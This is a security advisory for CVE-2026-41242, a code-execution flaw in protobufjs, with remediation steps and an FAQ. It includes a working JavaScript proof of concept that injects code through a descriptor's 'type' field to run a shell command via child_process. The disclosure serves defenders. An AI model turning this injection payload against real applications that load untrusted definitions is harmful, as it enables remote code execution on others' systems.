CVE-2026-41242: protobufjs has an arbitrary code execution issue
Summary protobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.
Details Attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition.
PoC js const protobuf = require('protobufjs'); maliciousDescriptor = JSON.parse({"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console.log(process.mainModule.require('childprocess').execSync('id').toString())};\\nfunction X","id":2}}},"Data(){console.log(process.mainModule.require('childprocess').execSync('id').toString())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}) const root = protobuf.Root.fromJSON(maliciousDescriptor); const UserType = root.lookupType("User"); const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]); try { const user = UserType.decode(userBytes); } catch (e) {}
Impact Remote code execution when attackers can control the protobuf definition files.
Other sources
protobufjs compiles protobuf definitions into JavaScript (JS) functions. In versions prior to 8.0.1 and 7.5.5, attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition. Versions 8.0.1 and 7.5.5 patch the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/protobufjsto a version that resolves this vulnerability.Fixed in 7.5.5 - Upgrade
Upgrade
npm/protobufjsto a version that resolves this vulnerability.Fixed in 8.0.1 - Upgrade
Upgrade
protobufjsto a version that resolves this vulnerability.Fixed in 8.0.1 - Upgrade
Upgrade
protobufjsto a version that resolves this vulnerability.Fixed in 7.5.5
Event History
Frequently Asked Questions
What is the severity of CVE-2026-41242?
CVE-2026-41242 is classified as a critical vulnerability due to its potential for arbitrary code execution.
How do I fix CVE-2026-41242?
To mitigate CVE-2026-41242, upgrade protobufjs to version 8.0.1 or 7.5.5 or later.
What versions are affected by CVE-2026-41242?
CVE-2026-41242 affects versions of protobufjs prior to 8.0.1 and 7.5.5.
What type of vulnerability is CVE-2026-41242?
CVE-2026-41242 is an arbitrary code execution vulnerability.
How does CVE-2026-41242 exploit occur?
CVE-2026-41242 allows attackers to inject arbitrary code via the 'type' fields in protobuf definitions during object decoding.